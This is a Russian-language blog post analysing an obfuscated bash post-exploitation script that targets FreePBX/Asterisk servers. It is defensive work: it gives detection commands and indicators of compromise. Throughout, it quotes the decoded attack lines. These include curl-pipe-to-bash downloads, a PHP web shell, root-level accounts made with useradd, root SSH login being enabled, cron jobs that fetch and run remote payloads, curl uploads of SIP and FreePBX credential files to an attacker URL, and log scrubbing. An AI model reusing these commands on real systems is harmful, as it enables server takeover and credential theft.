Мне в руки попался файл с расширением .sh и, конечно же, его пришлось изучить. Открываю файл — первая половина более-менее читаемая, а дальше начинается классика: Base64, ROT13 и еще немного Base64. Вроде ничего страшного. Декодируем, смотрим результат, радуемся жизни. Но не тут-то было. Автор скрипта решил сделать небольшой квест в стиле:
«А что если положить один скрипт внутрь другого скрипта, а потом еще один внутрь него?»
Получилась своеобразная матрешка: расшифровываем один слой, получаем следующий, потом следующий и так далее. Самое неприятное — после декодирования там оказалось еще достаточно много мусора. Пришлось чистить вывод, отделять реальные команды от повторов и уже потом собирать нормальную картину происходящего. В итоге получился довольно интересный набор: создание пользователей с UID 0, изменение SSH, установка persistence через cron, удаление пользователей, изменение паролей, кража конфигурации Asterisk/FreePBX и запуск дополнительных payload'ов с удаленных серверов. То есть перед нами уже не просто «скриптик на bash», а вполне полноценная постэксплуатация.
Первый слой
Самое интересное начинается практически сразу:
curl http://<IP>/x -ks | bash
Здесь автор даже не пытается сохранить файл на диск. Получаем содержимое с удаленного сервера и сразу передаем его в bash. Для анализа это неприятно, потому что содержимое может измениться в любой момент. Для атакующего — удобно. Для аналитика — еще один повод сказать: "не запускаем".
Если хочется посмотреть, что возвращает сервер, лучше сначала сохранить ответ:
curl -k http://<IP>/x -o payload.sh
а уже потом открывать файл и разбирать его статически.
Что делает скрипт
После того как я убрал обфускацию и мусор, поведение стало достаточно хорошо видно. Условно скрипт можно разделить на несколько этапов:
Создание backdoor-файлов в web-директории.
Создание пользователей с UID 0.
Изменение пользователей FreePBX.
Изменение конфигурации SSH.
Установка persistence через cron.
Удаление других пользователей.
Кража конфигурационных файлов Asterisk.
Запуск дополнительных payload'ов.
Попытка скрыть следы.
И вот тут начинается самое интересное.
Web Shell в FreePBX
Одна из первых вещей:
<?php session_start(); if (isset($_REQUEST['md5']) && md5($_REQUEST['md5']) == 'e2708f61bde041df72bbecbe31a232aa') { $_SESSION['looki'] = 'logged'; }
PHP-код записывается в:
/var/www/html/admin/views/ajax.php
После этого файл копируется еще в несколько мест:
/var/www/html/h.php /var/www/html/rest_phones/ajax.php /var/www/html/admin/modules/h/ajax.php /var/www/html/admin/modules/fpbxphones/ajax.php /var/www/html/admin/modules/phones/ajax.php
Причем копируются не только ajax.php.
Создаются еще:
config.php index.php
в тех же директориях. Получается несколько точек входа. Если один файл удалят — остается другой. Классическая логика:
«Один бэкдор хорошо, а восемь — вдруг пригодятся».
Зачем нужен .htaccess
Дальше появляется:
RewriteEngine On Options +FollowSymLinks RewriteCond %{REQUEST_FILENAME} !-d RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-l RewriteRule ^\s+ config.php [L]
И сохраняется это в:
/var/www/html/admin/views/.htaccess
Здесь злоумышленник пытается добавить дополнительный механизм обработки HTTP-запросов. Особенно интересна комбинация с большим количеством копий PHP-файла. То есть задача не просто «оставить PHP-файл». Нужно сделать так, чтобы до него было проще добраться через web-сервер.
Попытка защитить backdoor от удаления
Следующий интересный момент:
chmod +x /var/www/html/admin/views/ajax.php
и:
chattr +i /var/www/html/admin/views/ajax.php
Если +i не сработал:
chattr +a /var/www/html/admin/views/ajax.php
immutable делает файл неизменяемым и неудаляемым обычными операциями. То есть администратор может выполнить:
rm ajax.php
и получить вполне заслуженное:
Operation not permitted
Даже если права позволяют удаление. Для расследования это хороший IOC. Стоит проверить:
lsattr /var/www/html/admin/views/ajax.php
А теперь самое интересное — UID 0
В скрипте несколько раз встречается:
useradd -s /bin/bash -ou 0 -g 0 ...
Ключевой параметр здесь:
-u 0
UID 0 — это root. То есть создается пользователь, который технически имеет права root.
Например:
useradd -s /bin/bash -ou 0 -g 0 -p '...' newfpbx
и:
useradd -s /bin/bash -ou 0 -g 0 -p '...' xhimax
Это уже очень серьезный индикатор компрометации.
Проверить такие аккаунты можно:
awk -F: '$3 == 0 {print $1 ":" $3}' /etc/passwd
В нормальной системе ожидаем увидеть примерно:
root:0
Если там внезапно появились:
hima:0 newfpbx:0 supports:0
то это повод перестать делать вид, что «сервер просто странно себя ведет».
Массовое удаление пользователей
Дальше автор скрипта решил, что на сервере слишком много людей. И просто начал их удалять.
Например:
awk -F: '($3 == 0 && $1 != "root") {print $1}' /etc/passwd | xargs -n1 -I {} userdel -rf {}
Удаляются пользователи с UID 0, кроме root. Но на этом всё не заканчивается.
Следом:
for user in $(ls /home); do userdel -rf "$user" done
То есть удаляются пользователи из /home. Еще одна команда работает с /etc/passwd, /etc/shadow, /etc/group и /etc/gshadow. Там уже идет ручная зачистка записей пользователей. Это довольно грубый способ закрепиться. Но зато эффективный. Если на сервере были другие аккаунты администраторов — им может очень не понравиться следующий вход в систему.
Пароли
Дальше злоумышленник меняет пароли целого набора пользователей:
echo 'root:<PASSWORD>' | chpasswd -e echo 'asterisk:<PASSWORD>' | chpasswd -e echo 'freepbxuser:<PASSWORD>' | chpasswd -e
И создает дополнительные аккаунты:
useradd -s /bin/bash -ou 0 -g 0 -p '<PASSWORD>' hima useradd -s /bin/bash -ou 0 -g 0 -p '<PASSWORD>' sugarmaint useradd -s /bin/bash -ou 0 -g 0 -p '<PASSWORD>' supports useradd -s /bin/bash -ou 0 -g 0 -p '<PASSWORD>' supermaint
То есть атакующий создает несколько вариантов доступа. Причем практически каждый из них имеет root-права. Один аккаунт удалили? Не страшно. Есть еще несколько.
SSH тоже приводим в порядок
Следующий этап:
sed -i 's/^#Port .*/Port 22/' /etc/ssh/sshd_config sed -i 's/^Port .*/Port 22/' /etc/ssh/sshd_config
После этого:
iptables -A INPUT -p tcp --dport 22 -j ACCEPT
И затем:
systemctl restart sshd
Но самое интересное — разрешается root login:
sed -i 's/^#PermitRootLogin .*/PermitRootLogin yes/' /etc/ssh/sshd_config sed -i 's/^PermitRootLogin .*/PermitRootLogin yes/' /etc/ssh/sshd_config
Получаем простой сценарий:
Internet | v SSH :22 | v root
Почему бы и нет? Зачем усложнять жизнь ключами, sudo и нормальной моделью доступа, если можно просто разрешить root по SSH.
Persistence через cron
Вот здесь начинается любимая часть практически любого вредоносного Linux-скрипта.
*/1 * * * * wget http://<IP>/z/wr.php \ -O /var/lib/asterisk/bin/zen2; \ bash /var/lib/asterisk/bin/zen2
И еще:
*/1 * * * * wget http://<IP>/k.php \ -O /var/lib/asterisk/bin/devnull2; \ bash /var/lib/asterisk/bin/devnull2
И еще.
И еще.
И еще.
Практически каждый запуск происходит раз в минуту. Если один payload не сработал — через минуту попробуем снова. Если файл удалили — cron его скачает заново. Для проверки:
crontab -l
А также:
ls -la /var/spool/cron/
и:
grep -R "wget\|curl" /etc/cron* /var/spool/cron 2>/dev/null
Зачем столько одинаковых заданий?
Например:
zen2 zen222 zen3 devnull2 devnull312 devnull212
Все они делают примерно одно и то же:
download → save → execute
С точки зрения аналитика это даже удобно. Когда злоумышленник сам оставляет столько IOC, работа становится немного приятнее. Хотя лучше бы он вообще ничего не оставлял.
Еще один persistence
Внутри создаваемого /tmp/test.sh встречается:
wget http://<IP>/k.php \ -O /var/lib/asterisk/bin/devnull
и:
crontab -r
после чего добавляется новый cron:
*/3 * * * * chmod +x /var/lib/asterisk/bin/devnull; /var/lib/asterisk/bin/devnull
То есть автор скрипта не просто добавляет persistence. Он еще и чистит существующий crontab перед установкой своего. Это может привести к удалению легитимных задач.
Кража конфигурации Asterisk
А вот здесь становится понятно, почему вообще атакующего заинтересовал сервер. Выполняются запросы вида:
curl -F "file=@/etc/asterisk/sip_additional.conf" \ http://<IP>/hima_data/index.php
Аналогично отправляются:
/etc/asterisk/sip_registrations.conf /etc/asterisk/manager.conf /etc/asterisk/pjsip.identify.conf /etc/asterisk/pjsip.transports.conf /etc/asterisk/pjsip.aor.conf /etc/asterisk/pjsip.auth.conf /etc/asterisk/pjsip.endpoint.conf /etc/asterisk/sip.conf /etc/asterisk/sip_custom.conf
Но это еще не всё. Отправляются также:
/etc/postfix/sasl_passwd /etc/amportal.conf /etc/asterisk/amportal.conf /etc/freepbx.conf /etc/issabel.conf /etc/elastix.conf
И вот здесь уже становится очевидно, что интересуют не только учетные записи Linux. Атакующий собирает конфигурацию телефонии и связанные с ней секреты.
Что потенциально можно получить из этих файлов
В зависимости от конкретной конфигурации там могут находиться:
SIP credentials;
пароли SIP-пользователей;
параметры регистрации;
настройки Asterisk Manager Interface;
SMTP credentials;
параметры FreePBX;
параметры подключения к базе;
настройки внешних SIP-провайдеров.
Для VoIP-сервера это уже очень неприятная история. Получив SIP-учетки, злоумышленник потенциально может использовать их для дальнейших атак или совершения несанкционированных звонков. А если сервер используется для телефонии компании, счет за такие эксперименты может оказаться значительно интереснее самого инцидента.
Еще один удаленный payload
В конце:
curl http://<IP>/z/post/root.php | sh
То есть сервер дополнительно получает еще один скрипт и сразу передает его shell. Получается цепочка:
initial .sh | +--> remote /x | +--> create users | +--> modify SSH | +--> cron persistence | +--> steal Asterisk configs | +--> remote root.php | +--> next stage
Поэтому анализировать только первоначальный .sh недостаточно. Основная логика может находиться на стороне C2.
Попытка удалить следы
Есть интересная строка:
sed -i '/restapps/d' /var/log/httpd/*
То есть из HTTP-логов удаляются строки, содержащие restapps. Это уже попытка скрыть активность. Также скрипт несколько раз удаляет собственные файлы:
rm -rf /var/www/html/admin/modules/freepbx_ha/license.php
И выполняет операции с:
license license.php
То есть часть вредоносной логики сначала создается, потом переименовывается, затем снова восстанавливается. Для человека, который просто смотрит на файловую систему, это может выглядеть довольно странно. Для автора скрипта — видимо, всё идет по плану.
FreePBX как точка интереса
По путям и именам файлов хорошо видно, что скрипт ориентирован именно на системы семейства FreePBX/Asterisk.
Используются:
/var/www/html/admin/ /var/www/html/admin/modules/ /var/lib/asterisk/ /etc/asterisk/ /etc/freepbx.conf
Причем проверяются даже конфигурации других VoIP-систем:
/etc/issabel.conf /etc/elastix.conf
То есть автор явно рассчитывает на разные варианты VoIP-инсталляций.
IOC
Из разбора можно выделить следующие индикаторы.
IP-адреса
160.119.69.4 45.95.147.178
URI
/x /k.php /z/wr.php /z/post/root.php /hima_data/index.php
Подозрительные файлы
/var/www/html/h.php /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/freepbx_ha/license.php /var/www/html/admin/modules/freepbx_ha/license /var/lib/asterisk/bin/zen2 /var/lib/asterisk/bin/zen222 /var/lib/asterisk/bin/zen3 /var/lib/asterisk/bin/devnull2 /var/lib/asterisk/bin/devnull312 /var/lib/asterisk/bin/devnull212
Пользователи
newfpbx xhimax hima sugarmaint supports supermaint
Что в итоге
Перед нами не просто обфусцированный bash-скрипт. Это цепочка постэксплуатации, в которой есть практически всё необходимое для закрепления на сервере:
Initial access | v remote payload | v Web Shell / PHP | v Root-level accounts | v SSH access | v Cron persistence | v Config collection | v Data exfiltration | v Next-stage payload
Самое интересное здесь даже не использование Base64 или ROT13. Обфускация в данном случае просто заставляет аналитика немного поработать. Главная проблема начинается после расшифровки:
создаются root-пользователи;
меняются пароли;
разрешается root-доступ по SSH;
открывается SSH в firewall;
устанавливается persistence через cron;
создаются web shell'ы;
изменяются файлы FreePBX;
удаляются другие пользователи;
чистятся логи;
наружу отправляются конфигурационные файлы Asterisk;
скачиваются и выполняются дополнительные payload'ы.
И вот тут становится понятно, зачем была нужна вся эта матрешка. Пока аналитик сидит и думает:
«Ну Base64, ROT13... ничего интересного».
Скрипт в это время уже мысленно прописывает себе root в резюме.
Вывод
При анализе подобных .sh я бы вообще не тратил много времени на попытки сразу понять весь код. Сначала лучше убрать обфускацию и мусор, затем построить цепочку выполнения:
download ↓ execute ↓ persistence ↓ privilege ↓ credential access ↓ collection ↓ exfiltration ↓ next stage
Так гораздо быстрее становится понятно, что перед нами. А Base64, ROT13 и прочие «секретные» кодировки — это всего лишь упаковочная бумага. Главное — не начать распаковывать ее прямо на production-сервере.

